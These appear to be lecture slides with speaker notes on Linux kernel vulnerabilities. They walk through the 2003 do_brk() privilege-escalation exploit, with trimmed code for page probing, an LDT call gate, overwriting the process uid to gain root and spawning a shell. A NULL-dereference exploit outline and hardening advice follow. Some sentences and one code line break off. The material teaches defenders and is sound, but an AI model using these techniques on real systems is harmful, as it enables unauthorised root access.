Understanding Linux Kernel Vulnerabilities

Richard Carback

carback1@umbc.edu

http://carback.us/rick
There’s a kernel security researcher named Dan Rosenberg whose done a lot of Linux kernel vulnerability research.

That’s unavoidable, but the Linux kernel developers don’t do very much to make the situation any better.

-- Basically, the kernel developers treat everything like a bug that is annoying and just needs to be fixed.

One good example of this attitude the fact that there was not even discussion of a centralized security response approach until 2005.

Search for “Linux kernel security contact policy” and you’ll get some mailing list traffic about it and nothing else.

--Another illustrative example is that when a bug does get fixed, the changelog does not list a CVE number.

So the key takeaways of this talk are not just learning about how vulnerabilities come to be, but also why so many crop up even though there are so many eyes looking at the source code.

- Code running in supervisor (ring0) mode in the process context (i.e. through a system call) has an associated process and, while executing at kernel level, we can dereference (or jump to) userland addresses.

- The way new code is introduced to the kernel does require review by several people, but it does not explicitly require evidence that it is secure.

- When someone comes along with a “new, better way” to do something, there is no process for comparison with the old way to make sure the same sorts of checks are necessary or in place.

- The same is true when new drivers are introduced. There is no formal validation or comparison to make sure that this driver makes the same kinds of
Overview

• A classic example
• Exploit walkthrough
• Modern toy example
• Exploit Overview
• Other Common Vulnerability Types
• Embarrassing vulnerabilities
• Structural problems in the security approach
• Some protections
• Conclusions

• Note: We’ll stick to x86 32bit architectures and privilege escalation.
- The `do_brk()` is an internal kernel function which is called indirectly to manage process’s memory heap (brk) growing or shrinking it accordingly.
- The user may manipulate his heap with the brk(2) system call which calls `do_brk()` internally.
- The `do_brk()` code is a simplified version of the mmap(2) system call and only handles anonymous mappings for uninitialized data.

- The actual exploit of this bug was complex for its time, and required the use of several techniques and work-arounds.
- Obviously, people had been using this one already for quite some time.
**do_brk() Timeline**

- Jun-1999 – Introduced in 2.3.6
- Jan-2001 – Released in 2.4.0
- 24-Sept-2003 – discovered in 2.6
- 27-Sept-2003 – Patched in 2.6
  - 1 out of over 2000 messages ("do_brk() bounds checking")
- 02-Nov-2003 – FSF hacked
- 19-Nov-2003 – Debian hacked
  - It’s still listed as a “candidate”
- 28-Nov-2003 – Patched in 2.4.23
- 01-Dec-2003 – POC Exploit code published
- 02-Dec-2003 – Gentoo rooted.

- Introduced to dev kernel on 10-Jun-1999 (version 2.3.6)
- Released in version 2.4.0 on 04-Jan-2001.
- Released to 2.6.0-test6 on 27-Sept-2003 with message "do_brk() bounds checking", another listed "Add TASK_SIZE check to do_brk()"
  - 1 of over 2000 patches that month
- Released to 2.4.23-pre7 on 09-Oct-2003
- 02-Nov-2003 savannah.gnu.org rooted, supposedly with this vulnerability.
- 19-Nov-2003 multiple debian servers start to get rooted.
- 20-Nov-2003 Debian admins notice some kernel oopses, find breakin and tear-down servers
- 22-Nov-2003 Debian servers begin coming back (done on 25-Nov-2011)
- 28-Nov-2003 2.4.23 Released.
- 01-Dec-2003 FSF discovers hack.
- 02-Dec-2003 Gentoo server rooted in the same manner.
- The actual bug is an extremely simple logical error. A lack of a bounds check.

- There originally was no special case code for brk(), i.e., do_brk, which tries to speed things up because the end of the heap segment is special.
- As the TASK_SIZE check was missing, we could have tried to allocate
The do_brk() Fix

```c
if (!len)
    return addr;

+ if ((addr + len) > TASK_SIZE || (addr + len) < addr)
+ return -EINVAL;
+
+ /*
+ * mlock MCL_FUTURE?
+ */

• The TASK_SIZE is typically set to 0xc0000000, the start of kernel memory
• In hindsight, looks obvious, but exploiting this bug requires some tricks...let's dig deeper!
```

- Random commenter notes: “I think the kernel developers forgot that the ELF-
  headers can be modified to start the program such that the heap segment
  might be at the end of the memory space, so they think that it is not possible to
  have brk() called in such a way that can extend through the end of the address
  space”

- I think the commenter is right, because normally, misusing this call would
  overlap with another segment causing an obvious error, and then virtual
  memory bound checking will stop anything wrong from happening. The person
  who wrote do_brk was probably thinking that this bound checking would be
  sufficient when he wrote it.
mov eax, 163    ; mremap
mov ebx, esp
and ebx, ~(0x1000 - 1) ; align to page size
mov ecx, 0x1000    ; we suppose stack is one page only
mov edx, 0x9000    ; be sure it can't get mapped after us
mov esi, 1         ; MREMAP_MAYMOVE
int 0x80

-- You could also do this in the elf header, but most exploits either unmap or remap the stack.
-- The first big problem to solve is finding where we want to modify memory.
-- There is another big problem here, and that is that while the memory may be mapped, the supervisor bit is still going to be set in the MMU.

-- brk must be called multiple times, because we need to bypass a kernel limit on the virtual memory that may be mapped at once using do_brk() function.

After these three steps our heap may look like:
080a5000-ffff0000 rwxp 00000000 00:00 0
This really depends on what you want to do. We could turn the supervisor bit *off* on every page in kernel space, then scan memory for our magic LDT entry value---this could work but it would be very messy to clean up. Yet another thing we could do is scan memory for our task_struct entry, but we won’t know for sure what it looks like. Or we could overwrite a syscall table entry, or used the ptrace stuff, but some vendors/kernel compilers turned that feature off. The list goes on. The verr instruction verifies whether the code or data segment specified with the source operand is readable.

- This really depends on what you want to do.
- We could turn the supervisor bit *off* on every page in kernel space, then scan memory for our magic LDT entry value---this could work but it would be very messy to clean up.
- Yet another thing we could do is scan memory for our task_struct entry, but we won’t know for sure what it looks like.
- Or we could overwrite a syscall table entry, or used the ptrace stuff, but some vendors/kernel compilers turned that feature off.
- The list goes on.
- The verr instruction verifies whether the code or data segment specified with the source operand is readable.
Prepare is simply a helper function which sets up a signal handler.

In the case of the SIGSEGV signal the kernel's `do_page_fault()` routine leaks its error_code value (un)intentionally to the signal handler. There are two error_code values that we are interested in:

- * a page fault occurred because the page was not mapped into memory
- * a page fault occurred because the page protection doesn't allow to access it

All this code is doing is generating a bitmap of which pages are and are not mapped to memory.
- All this function does is return if the page is in memory or not using results of the signal.

- Setjmp always returns 0 the first time through.
- If the asm instruction causes a signal, execution restarts at the setjmp, and val is now non-zero
- If it does not, that means the page is in memory.

```c
int testaddr(unsigned addr)
{
    int val;
    val = setjmp(jmp); // Save stack here.
    if (val == 0) {
        // Signal happens here.
        asm ("verr (%eax)" : : "a" (addr));
        return MAP_ISPAGE;
    }
    // val = MAP_NOPAGE + (error_code & 1);
    return val;
}
```
- This is the signal handler being used by test addr.
- If the page is in memory, the signal doesn’t get called.
- If it’s not in memory or its inaccessible, we return an error code to the user.

```c
void sigsegv(int signo, siginfo_t * si, void * ptr)
{
    struct ucontext * uc = (struct ucontext *) ptr;
    int error_code = uc->uc_mcontext.gregs[REG_ERR];
    ...
    // Page not in memory.
    error_code = MAP_NOPAGE + (error_code & 1);
    // error_code is what val will equal.
    longjmp(jmp, error_code);
}
```
- The process’s local descriptor table (LDT) holds an array of segment descriptors each of them describing segment limits and access privileges.
- Modify_ltt is a syscall that lets us add and read LDT entries, which can be used to define custom code and data segments outside of data/text and kernel segments.
- This bit of code will cause the kernel to allocate an additional page to handle the new ldt entries, because the array is allocated through the vmalloc() allocator for each process that writes LDT entries using the modify_ltt(2) system call.
- We are going to add one with a magic HEX value that is in kernel space, and then we are going to scan using signals and “verr” syscall for a page in memory that has not been mapped.
- Once we find the LDT entry, we can change an entry to call an arbitrary routine at ring0.
- Note: This code has been lobotomized to fit.
- It’s looping through for mapped pages like before (with the signal handler used in the same way).
- Except, this time it’s comparing against the bitmap we made before.
- When it fails to find a hit, it records the address, and it eventually returns at the end of the while loop.
- There’s some error checking in this function to make sure we don’t destroy the kernel.
- For example, LDT_PAGES is a heuristic calculation to figure out the page number at which the LDT_PAGES should start (of which there should only be 1 unique one).
- If all goes well, the last mapped kpage should be the one we hit.
At this point, we can use the aforementioned `sys_brk` calls to expand ourselves out to this page table, then we can turn off the supervisor bit to change it.

"address" here is a page table pointing at kernel memory we want to overwrite. Specifically we will overwrite the LDT.

-Defense in depth dictates that `mprotect` should never change kernel-level memory address protections, but it did work when the exploit was released.

• Note: DiD -- `mprotect` should make sure it doesn’t change kernel space --- not true when `do_brk()` bug discovered.
The `lcall` instruction is calling a “call gate descriptor” that enables privilege level transition from the user to the kernel privilege level.

- ENTRY_GATE is set to "kcode" which is a function we define in assembler that will be run in kernel mode.
- CS is the code segment selector and it controls what ring the code will run at – we are setting this to kernel level privileges.
- DS is the descriptor privilege level which controls what ring can call the call gate – we are setting this so that user processes can call it.

We decided to setup a call gate in the LDT with descriptor privilege level of 3 and the code segment equal to KERNEL_CS (which is the kernel code descriptor for CPL0).

- Note that it is pointing back into the process's address space below TASK_SIZE – this allows aa user mode task to directly call its own code at CPL0.
void __kcode(void)
{
    asm(
        ...
        " andl %esp,%eax \n"
        " pushl %eax \n"
        " call kernel \n"
        " addl $4, %esp \n"
        " popl %ds \n"
        " popl %es \n"
        " popa \n"
        " lret \n"
    );
}

-Note, this one has also been lobotomized for space.
-This is an assembler routine which will call a C function
Step 6: Scan task_struct

```c
asmlinkage void kernel(unsigned * task)
{
    unsigned * addr = task;
    /* looking for uids */
    while (addr[0] != uid || addr[1] != uid ||
    {
        addr++;
        addr[8] = 0;
    }
}
```

-Uid is the userid for the process. It should show up in task_struct 4 times in a row.
-When we find it, set our uid and our gid (the next 4) to 0 – we are now root.
-Continuing the previous function we scan again looking for vm_area_struct structures over the task_size limit.
-this time we are looking for values which match the heuristic pattern (found through trial and error), which corresponds to our resultant super-large heap size, then make it less than TASK_SIZE.
-Note: address is the last page of memory we abused the sys_brk command to get to, that's why it appears here again
-While not shown, there's an expansion loop that calls sbrk *after* we've figured out what we want to mess up in memory.
Step 8: Rooted

void shell(void)
{
    char * argv[] = { _PATH_BSHELL, NULL };  
    execve(_PATH_BSHELL, argv, environ);
    fatal("Unable to spawn shell\n");
}
Pretty much every one of these techniques generalizes and are still useful avenues for modern kernel exploitation.

- The main difference, however, are that there are usually a few more roadblocks to get around.

- One other thing to note is that this vulnerability, while difficult to exploit was very simple to understand, that's not generally the case anymore.
This exploit is non-obvious and it is a good example of the kinds of exploits you would've seen in the last 5 years.

1) `user_info.size` is a signed integer, so we can pass a negative number to bypass the check.

2) The `kmalloc` will convert the unsigned number to signed, so we can force `kmalloc` to return NULL here.

3) As we can see, this thing gets written into the now null `info->data` variable, which we can use.

4) At this location we see that we can use the `store_info` function to put our UID anywhere we want to in memory.

What we have to do to exploit such a code is simply `mmap` the zero page (0x00000000 - NULL) at userspace, make the `kmalloc` fail by passing a negative value and then prepare a 'fake' data struct in the previously mmapped area, providing working pointers for 'perm' and thus being able to write our 'uid' anywhere in memory.
[1] Memory map 0x0 (NULL)
[2] Call the alloc function with a negative value for the kmalloc call (this gets around the if statement and causes malloc to fail and return 0). At this point, the user_info struct's data member is pointing to null.
[3] Use the proc’s mmap’d data to point the ->perm member of the data struct at the place in memory where we’d like to put our UID (which should be in our task_struct).
[4] Call the store_info function, and let it change our UID for us.

In principle, this works great, but in practice it’s hard to find out where the task_struct will be located.

- A better alternative to this is to use the sidt function to get the location of the interrupt descriptor table.
- Then we can pick one of the interrupts and overwrite the MSB. (This technique is called creating a trap gate).
- This moves the interrupt handler from kernel code into userspace.
- We can mmap and setup a nopslide ending in a trampoline in the location we believe the new interrupt handler will be, then invoke it.
- After trampolining, we can clean up our mess and execve our root shell.
The only difference in these techniques is how they cause

Other Vulnerability Types

- Memory overflow (stack, slab/slub/slob, etc)
  - Similarities to user-level vulnerabilities
  - Cleanup is harder
- Race Conditions
  - Kernel accesses user page multiple times, but only checks validity once
  - Use multiple processes and memory allocation to swap page to memory/cause kernel thread working on it to sleep
  - Change data with other process while asleep
Remote Kernel Vulnerabilities

- Popular against buggy wireless drivers
- Main exploit challenge: Running in an interrupt context
  - No userspace
  - No sleeping (e.g. pagefaults)
  - Syscalls don’t (always) work
  - Information leaking is improbable
    - No ROP
CVE-2007-4573 – Not only was this one long-lived, it was also “obvious” (much more so than do_brk).

CVE-2009-2692 sock_sendpage – this one has been around since 2001, and it was also more obvious than do_brk.

The moxa bug is the most notable. Not only had it been around since the 90s, it had also been unpatched until 2007, 2 full years after it was reported!
### Structural Problems

- **Denial**
  - “and the optimization for the 32-bit case is simply buggy, since it doesn’t verify the user addresses properly.” (CVE-2010-3904)

- **Misclassification**
  - “…causing a system crash, leading to a denial of service. (CVE-2009-0065)” actually turned into a remote kernel exploit!

- **Reactive and not Proactive**
  - “this vulnerability exists because of a CVE-2007-4573 regression.” (CVE-2010–3301)
  - Kernel patches are not required to provide evidence of their security

---

CVE-2010-3904 - Rds page copy vulnerability.

CVE-2009-0065 – sctp buffer overflow vulnerability

Also note that the bug referred to in CVE-2007-4573 was actually floating around the hacker community since 2003. It’s just that no one reported it until 4 years later.
More Structural Problems

- Kernel cruft
  - Econet, RDS, and dozens of other little or unused drivers are still loadable on demand

- Kernel Architecture
  - User and Kernel share the same (virtual) memory spaces – this does not have to be true (see SPARC)

- No centralized security reporting/mgmt
  - Where do I send my 0-days?
### Simple Protections

- `chmod o-r /boot/*`
- `sysctl -w vm.mmap_min_addr =4096`
- `sysctl -w kernel.modprobe=/bin/false`
- `sysctl -w kernel.modules_disabled=1`
- `sysctl -w kernel.kptr_restrict=1`
- `sysctl -w kernel.dmesg_restrict=1`

Kptr_restrict hides kernel pointers
More Sophisticated Protections

- **grsecurity + PaX, SELinux, AppArmor, etc**
  - Really good at frustrating attackers
  - Performance/Compatibility problems
  - Doesn’t solve all problems
    - Vulnerable to StackJacking and other info leaks
- **ASLR**
  - Prevents ROP but can still use info-leak bugs
  - See windows, which has been using it for a while now..
- **Virtualization**
  - Running a buggy C program inside a buggy C program
  - Can provide DiD, but generally creates much juicier targets for attackers!

---

grsecurity:
Frustrate and log attempted exploits
Hide sensitive information from /proc and friends
Enhance chroots
Lock down weird syscalls and processor features
Do other neat things

PaX:
Ensures that writable memory is never executable
Randomizes addresses in kernel and userspace
Erases memory when it’s freed
Checks bounds on copies between kernel and userspace
Prevents unintentional use of userspace pointers

StackJacking:
Find a kernel stack information leak
Use this to discover the address of your kernel stack
Mess with active stack frames to get an arbitrary read
Use that to locate credentials struct and escalate privs
Paranoid/Painful Protections

- Compile your own kernel
  - Disable /dev/kmem, etc and turn off loadable kernel modules altogether.
  - Don’t include anything you don’t absolutely need
- Keep up with patches
  - Watch the CVEs and kernel commit logs yourself
  - Compile immediately each time a bug gets fixed that applies to you
- Trusted boot and execution paths (if I don’t know what it is, don’t run it).
  - TPMs, Intel TXTs are very promising directions—if they can be made easier to deploy and use.
- Move to Montana or the Carribean
  - Use a computer without a CPU or MMU or other components.
It is a combination of disorganization and inattentiveness

Conclusions

• It’s all about the memory!
  – And a little about the architecture

• Don’t count on structural changes to process
  – Even if they could drastically reduce many of these problems

• If you want to be secure, you have to be proactive
  – Use DiD—install IDS, HIDS, remote logging, etc on your network systems
  – Harden your endpoints with some combination of the techniques shown here.
<table>
<thead>
<tr>
<th>People to Watch</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dan Rosenberg  -  <a href="http://vulnfactory.org/">http://vulnfactory.org/</a></td>
</tr>
<tr>
<td>Keegan McAllister -  <a href="http://mainisusuallyafunction.blogspot.com/">http://mainisusuallyafunction.blogspot.com/</a></td>
</tr>
<tr>
<td>Tavis Ormandy  -  <a href="http://taviso.decsystem.org/">http://taviso.decsystem.org/</a></td>
</tr>
<tr>
<td>Julien Tinnes  -  <a href="https://www.cr0.org/">https://www.cr0.org/</a></td>
</tr>
<tr>
<td>Michal Zalewski -  <a href="http://lcamtuf.coredump.cx/">http://lcamtuf.coredump.cx/</a></td>
</tr>
</tbody>
</table>
References

• Do_brk()
  – http://lxr.linux.no/linux-old+v2.3.5/mm/mmap.c
  – http://lxr.linux.no/linux-old+v2.3.6/mm/mmap.c
  – http://www.wiggy.net/debian/explanation

• Dummy driver
  – http://phrack.org/issues.html?issue=64&id=6
Questions?